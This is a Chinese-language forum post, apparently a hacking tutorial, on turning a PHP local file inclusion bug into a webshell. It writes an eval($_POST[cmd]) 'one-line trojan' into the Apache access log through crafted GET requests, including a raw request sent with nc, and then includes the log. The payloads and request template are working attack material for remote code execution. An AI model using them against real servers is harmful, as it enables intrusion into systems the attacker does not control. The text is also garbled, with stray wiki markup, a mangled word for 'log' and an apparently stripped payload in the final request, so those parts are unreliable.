PHP本地文件包含漏洞的新突破口

[[wiki]wiki[/wiki]][/wiki]记得Zizzy写过一篇《关于[wiki]PHP[/wiki]包含ApacheRi志的随想》，这是一个很好的思路，我们可以随意构造

Quote:

http://www.e[wiki]XP[/wiki].com/index<?/**/eval($_[wiki]POS[/wiki]T[cmd]);/**/?>.php

这样的GET请求，将一句话木马写入webRi志，然后利用文件包含漏洞包含Ri志得到WEB[wiki]shell[/wiki].

不过很遗憾，这[wiki]类[/wiki]情况只能在short_open_[wiki]TAG[/wiki]=on的情况下才能有效，当short_open_tag=off时，PHP将不支持<?/**/eval($_POST[cmd]);/**/?>这样的短语句.

所以我们只能使用<?php eval($_POST[cmd]);?>这样[wiki]标准[/wiki]语法的一句话木马，但是问题来鸟，语句中有一个空格，类似

Quote:

http://www.exp.com/index<?php eval($_POST[cmd]);?>.php

[wiki]浏览器[/wiki]中直接这样提交，会把空格做HTTP编码转成%20写入webRi志,如果PHP包含<?php%20eval($_POST[cmd]);?>这样的语句肯定是不会成功的，所以我们必须把空格真正的写入WEBRi志.


直接利用NC伪造GET请求包，这个邪恶的空格便写入了WEBRi志！

Copy code

GET /index< >.php HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; [wiki]windows[/wiki] NT 5.1; SV1; .NET CLR 2.0.50727)
Host: 192.168.3.44